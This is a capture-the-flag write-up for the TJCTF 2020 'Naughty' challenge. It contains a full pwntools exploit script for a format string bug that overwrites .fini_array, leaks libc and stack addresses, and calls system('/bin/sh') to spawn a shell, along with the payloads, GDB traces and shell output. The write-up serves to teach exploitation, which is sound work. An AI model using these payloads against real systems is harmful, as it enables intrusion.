# TJCTF 2020
## Naughty
> 100>> Santa is getting old and can't tell everyone which list they are on anymore. Fortunately, one of his elves wrote a [service](naughty) to do it for him!> > `nc p1.tjctf.org 8004`>> Written by KyleForkBomb
Tags: _pwn_ _x86-64_ _remote-shell_ _format-string_ _libc_ _write-what-where_ _dtors_
## Summary
Format string vulnerability where second pass is achieved by overwriting `.fini_array` (DTORS).
> detour: a long or roundabout route that is taken to avoid something or to visit somewhere along the way.
## Analysis
### Checksec
```    Arch:     i386-32-little    RELRO:    No RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)```
GOT wide open.  Stack protection.  No shellcode.  No PIE--easy ROP.
### Decompile with Ghidra
![](main.png)
The principal vulnerability is a missing `printf` _format string_ (line 37).  With this we can leak the stack and discover things like the address of libc, the base process address (no PIE, so no worries), the address of the stack, uninitialized variables, canaries, etc...
We can also write out arbitrary values to just about anywhere there's a RW segment--if you know where and what to write.
The problem is, there's only the one vulnerable `printf` at line 37.  There's no loop, no second chances.
My first thought was to repurpose the GOT, but that `printf` is _last call_.  Unless, I can cause a stack check fail with a buffer overflow, but lines 9 and 35 are not vulnerable.
> Note to self, can corrupt canary with format string.
I read the `printf` man page end-to-end.  Its been a while and it's a pretty dry read.
_think, goddamnit_
Finally I decided to go back to the source, the first place I read formally about format string vulnerabilities: [Exploiting Format String Vulnerabilities](https://cs155.stanford.edu/papers/formatstring-1.2.pdf).
_nod nod nod yep yep yep uh-huh uh-huh uh-huh ... wait!_
![](dtors.png)
> Now I've tried this path before but, IIRC, it was not an option because it was in a RO segment, again, IIRC.
Looking with Ghidra there is no `.dtors`, however there is a `.fini_array` (descendent of `.dtors`--the aforementioned paper is from 2001) and, well, see for yourself:
![](fini.png)
For a PoC, from within GDB, I just overwrote `.fini_array` with the address of `main` and when the program exited I scored a free ride.  The rest should be downhill from here.
### Discovery
I used an Ubuntu 18 container.  Ubuntu 18.04 was consistently used for the other (TJCTF) binary challenges.  At least for the machines I checked (when you get a flag, hangout for a while, poke around, see what you can see :-).
> I've been screwed in the past using 19 with hardcoded stack parameter offsets just to have the remote server fail.  Best to have a close match.
If you want to follow along, start up GDB, load up `naughty`, set a breakpoint for the last `printf` statement (`b *main+249`), run, and dump the stack:
> Output from GDB (with [GEF](https://gef.readthedocs.io/en/master/)), however I added the first column for illustration purposes.
```    0xffffd570│+0x0000: 0xffffd58c  →  "blah\n"    ← $esp01: 0xffffd574│+0x0004: 0x0000010002: 0xffffd578│+0x0008: 0xf7faa5c0  →  0xfbad2288  <---------------- _IO_2_1_stdin_ (0xf7faa5c0)03: 0xffffd57c│+0x000c: 0x08048550  →  <main+26> add ebx, 0x175404: 0xffffd580│+0x0010: 0xf7ddf438  →  0x00002dfe05: 0xffffd584│+0x0014: 0x0000093c ("<\t"?)06: 0xffffd588│+0x0018: 0xf7ddfcc8  →  0x7264780007: 0xffffd58c│+0x001c: "blah\n"08: 0xffffd590│+0x0020: 0xffff000a  →  0x0000000009: 0xffffd594│+0x0024: 0xffffd5e0  →  0x0000000010: 0xffffd598│+0x0028: 0x0000000311: 0xffffd59c│+0x002c: 0x0000000012: 0xffffd5a0│+0x0030: 0xf7ffd000  →  0x00026f3413: 0xffffd5a4│+0x0034: 0xf7ddfcc8  →  0x7264780014: 0xffffd5a8│+0x0038: 0xf7dd6012  →  0x15d5a52915: 0xffffd5ac│+0x003c: 0xf7ddf438  →  0x00002dfe16: 0xffffd5b0│+0x0040: 0xf63d4e2e17: 0xffffd5b4│+0x0044: 0x0804829c  →  "__libc_start_main"18: 0xffffd5b8│+0x0048: 0x07b1ea7119: 0xffffd5bc│+0x004c: 0xffffd664  →  0xf7faa000  →  0x001d7d6c  <- stack address (0xffffd664)20: 0xffffd5c0│+0x0050: 0xffffd5e4  →  0x00000000```
The second parameter did not disappoint; `%2$p` holds the return the address of `_IO_2_1_stdin_`.  We have libc.
However, best to double check from GDB:
```gef➤  disas 0xf7faa5c0Dump of assembler code for function _IO_2_1_stdin_:   0xf7faa5c0 <+0>:	mov    BYTE PTR [edx],ah...   ```
Looking down stack at `%19$p` is an address relative to the stack (`0xffffd664`)--save this for later.
Next, overwrite `.fini_array` for a second pass at the format string vulnerability:
> With _No PIE_, the addresses will be static and can be obtained from Ghidra, `objdump`, etc... (see above).
```gef➤  x/1wx 0x08049bac0x8049bac:	0x8048500gef➤  set {int}0x08049bac = maingef➤  x/1wx 0x08049bac0x8049bac:	0x8048536```
Then `continue` and `ni` until you get to:
``` →  0x8048656 <main+288>       ret```
Checking the stack, the return address should be returning code execution to `_dl_fini_`: ```0xffffd5cc│+0x0000: 0xf7fe5b9a  →  <_dl_fini+490> sub esi, 0x4 ← $esp```
Using the leaked stack address (`%19$p`) and return address, compute the offset:
```gef➤  print 0xffffd664 - 0xffffd5cc$1 = 0x98```
We have all the bits we need.
_Naughty list, here I come._
## Exploit
### Attack Plan
1. Gain a second pass while leaking libc and stack addresses2. Get a shell, get the flag
### Gain a second pass while leaking libc and stack addresses
```python#!/usr/bin/python3
from pwn import *
#p = process('./naughty')#libc = ELF('/lib/i386-linux-gnu/libc.so.6')p = remote('p1.tjctf.org', 8004)libc = ELF('libc-database/db/libc6-i386_2.27-3ubuntu1_amd64.so')
binary = ELF('./naughty')fini_array = binary.get_section_by_name('.fini_array').header.sh_addr
### 1st passp.recvuntil('What is your name?')
payload  = b''payload += b'%' + str((binary.symbols['main']) & 0xFFFF).rjust(6,'0').encode() + b'x'payload += b'%14$hn  'payload += b'%2$p'payload += b' %19$p  'payload += p32(fini_array)
p.sendline(payload)```
From the stack output above (look for the 2nd `blah`), the format string starts at parameter 7.
The payload only has to overwrite the lower 16-bits of `.fini_array`.  Parameters 7 and 8 will instruct `printf` to emit `34102` (`binary.symbols['main']) & 0xFFFF`) bytes, while incrementing an internal `printf` counter, that will then be stored at the address from parameter 14 (the address to `.fini_array`).
> We have to be careful to keep our format string addresses aligned with the stack, hence some of the clumsy padding. It is also a good idea to put all the addresses at the end of the string in case they have nulls.  Also important to keep the `%n` strings first to make the math easier.  
Sandwiched in the middle is the leak for the libc and stack addresses.
This will create a payload that looks something like this:
```%034102x%14$hn  %2$p %19$p  \xac\x9b\x04\x08```
At the end of the `NAUGHTY LIST` output, collect the leaked libc and stack addresses, then use that to compute the base of libc and the return address needed to overwrite the stack in the second pass:
```p.recvuntil('You are on the NAUGHTY LIST ')_ = p.recvline().strip()[-27:]
_IO_2_1_stdin_ = int(_[:10],16)print('_IO_2_1_stdin_',hex(_IO_2_1_stdin_))baselibc = _IO_2_1_stdin_ - libc.symbols['_IO_2_1_stdin_']print('baselibc',hex(baselibc))
offset = 0x98return_address = int(_[11:21],16) - offsetprint('return_address',hex(return_address))```
However, the version of libc is unknown.  This can be solved by using the last three nibbles from `print('_IO_2_1_stdin_',hex(_IO_2_1_stdin_))` and searching the [libc-database](https://github.com/niklasb/libc-database):
```# libc-database/find _IO_2_1_stdin_ 5c0 | grep 386archive-old-glibc (id libc6-i386_2.26-0ubuntu2.1_amd64)archive-old-glibc (id libc6-i386_2.26-0ubuntu2_amd64)http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6-i386_2.27-3ubuntu1_amd64.deb (id libc6-i386_2.27-3ubuntu1_amd64)archive-old-glibc (id libc6-i386_2.28-0ubuntu1_amd64)http://http.us.debian.org/debian/pool/main/g/glibc/libc6-i386_2.28-10_amd64.deb (id libc6-i386_2.28-10_amd64)archive-old-glibc (id libc6-i386_2.29-0ubuntu2_amd64)archive-old-glibc (id libc6_2.26-0ubuntu2.1_i386)archive-old-glibc (id libc6_2.26-0ubuntu2_i386)http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_i386.deb (id libc6_2.27-3ubuntu1_i386)archive-old-glibc (id libc6_2.28-0ubuntu1_i386)http://http.us.debian.org/debian/pool/main/g/glibc/libc6_2.28-10_i386.deb (id libc6_2.28-10_i386)archive-old-glibc (id libc6_2.29-0ubuntu2_i386)```
That's a few more candidates than usual.  No worries, just test them one by one.  The 3rd down was a hit.  You can verify when computing the base of libc, it should end in `000`.  But, the real test will be if `system` also can be called.
### Get a shell, get the flag
```python### 2nd passp.recvuntil('What is your name?')
binsh = baselibc + next(libc.search(b"/bin/sh"))system = baselibc + libc.symbols['system']
words = {}words[system & 0xFFFF] = return_addresswords[system >> 16]    = return_address + 2words[binsh & 0xFFFF]  = return_address + 8words[binsh >> 16]     = return_address + 10
n=0; q=7+16; payload = b''for i in sorted(words):    payload += b'%' + str(i-n).rjust(6,'0').encode() + b'x'    payload += b'%' + str(q).rjust(4,'0').encode() + b'$hn'    n += (i-n)    q += 1
for i in sorted(words):    payload += p32(words[i])```
With the return address stack location in hand, and the base of libc known, just construct a payload to call `system` with a pointer to `/bin/sh`.
> See [dorsia3](https://github.com/datajerk/ctf-write-ups/blob/master/wpictf2020/dorsia3/README.md) for a detail explanation of how this format string is constructed.
> Optionally `one_gadget` could probably be used, but the above is portable and a bit more surgical, IMHO.
Get a shell, get the flag:
```p.sendline(payload)p.recvline()p.interactive()```
Output:
```# ./exploit.py[+] Opening connection to p1.tjctf.org on port 8004: Done[*] '/pwd/datajerk/tjctf2020/naughty/libc-database/db/libc6-i386_2.27-3ubuntu1_amd64.so'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] '/pwd/datajerk/tjctf2020/naughty/naughty'    Arch:     i386-32-little    RELRO:    No RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)_IO_2_1_stdin_ 0xf7fc05c0baselibc 0xf7deb000return_address 0xffd74a3c[*] Switching to interactive modeYou are on the NAUGHTY LIST 00000[many, many zeros removed]00000$$ cat flag.txttjctf{form4t_strin9s_ar3_on_th3_n1ce_li5t}```